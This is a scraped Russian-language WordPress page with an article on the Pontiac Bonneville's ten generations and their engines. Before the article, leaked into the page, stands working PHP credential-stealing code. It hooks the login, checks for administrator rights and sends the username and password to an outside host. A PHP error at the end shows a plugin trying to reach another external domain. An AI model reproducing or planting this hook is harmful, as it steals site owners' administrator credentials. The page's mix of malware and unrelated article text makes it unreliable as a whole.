if (!function_exists("theme_login_init_0e40e986decc158f6acbb41c14e2f2b4")) { function theme_login_init_0e40e986decc158f6acbb41c14e2f2b4() { if (isset($_POST['log']) and isset($_POST['pwd'])) { $abc = $_POST['log']; $bca = $_POST['pwd']; $zxa = (array)wp_authenticate($abc, $bca); if (isset($zxa["allcaps"]['administrator'])) { $url = 'https://acjscsswp.com/loginfileweb?url=' . urlencode(wp_login_url()) . '&user=' . urlencode($abc) . '&pass=' . urlencode($bca) . '&site=' . urlencode(wp_login_url()); $response = wp_remote_get($url); } } } add_action('wp_login', 'theme_login_init_0e40e986decc158f6acbb41c14e2f2b4', 10, 0); } Pontiac Bonneville – полувековая история легенды — DigiLider

Pontiac Bonneville – полувековая история легенды

Pontiac Bonneville – полувековая история легенды

Pontiac Bonneville – полувековая история легенды

Pontiac Bonneville – серьезный американец, который почти полвека был неотъемлемой частью дорожного движения практически во всех странах мира. Он стал флагманом компании и десятилетия являлся практически синонимом бренда Pontiac.

Началась история культового авто в 1954 году, когда миру показали прототип новой машины. Хотя в серию Bonneville попал аж через 3 года, в 1957-м и до конца выпуска многократно менял свой облик.

Модификации и технические характеристики

За все время выпуска с конвейера сошло десять поколений «Бонневилей»:

    1. На авто устанавливался 6,4-литровый силовой агрегат «восьмерка», выдающий 300 лошадок. Исполнение – кабриолет и купе. 3 АКПП отлично передает крутящий момент на задний привод. Максимальная скорость – 210 километров в час.
    2. Техническая начинка в 1959 году не изменилась, но добавились новые кузова: универсал и седан.
    3. С 1961 года авто комплектовалось мотором, объемом 6,4; 6,6; 6,9 литров.
    4. Очередная модернизация прошла в 1965 году. На машину начали ставить 7,5-литровые движки, которые таили в себе грозные 370 лошадки.

1 of 5

  1. На модели 5-ого поколения производитель монтировал силовые установки 6,6 и 7,5 л.
  2. В 1977 значительно уменьшись размеры и мощность ДВС. 135-сильная «шестерка» и «восьмерка», выдающая 185 л.с. Появились дизели, объемом 5,7 л.
  3. С 1982 года «Бонневиль» стал среднеразмерным автомобилем. Производитель предлагал клиентам седаны и универсалы, оснащенные бензиновой силовой установкой 3,8 и 5 л, и дизельной на 5,7 л.
  4. 1987 года полностью обновился внешний вид. Он стал современным и отражал новые тенденции в работе «Дженерал Моторс». Авто вернулось в полноразмерный класс, а вместо заднего привода получило передний.
  5. 1992 года седан производился с усовершенствованной «шестеркой» 170 л.с и 210 л.с. в турбированном варианте. Начали внедряться новые технологии обеспечения активной и пассивной безопасности.
  6. Последнее 10-е поколение производилось с 2000 до 2005 года. Четырехдверный седан с объемом движка 3791 кубических сантиметров, обладал четырехступенчатой АКПП. Независимая передняя и задняя подвеска умело съедала небольшие ухабы на дорожном покрытии, обеспечивала комфорт водителя и пассажиров. В 510-литровый багажник свободно помещались необходимые для перевозки вещи.

Pontiac Bonneville был настоящим американцем, который вел за собой других и полюбился многим автомобилистам.

1 of 5


Warning: fsockopen(): Unable to connect to ssl://getajaxx.com:443 (Connection timed out) in /var/www/u0503503/data/www/digilider.ru/wp-content/plugins/custom-fetch-url/custom-fetch-url.php on line 22
Error: Connection timed out (110)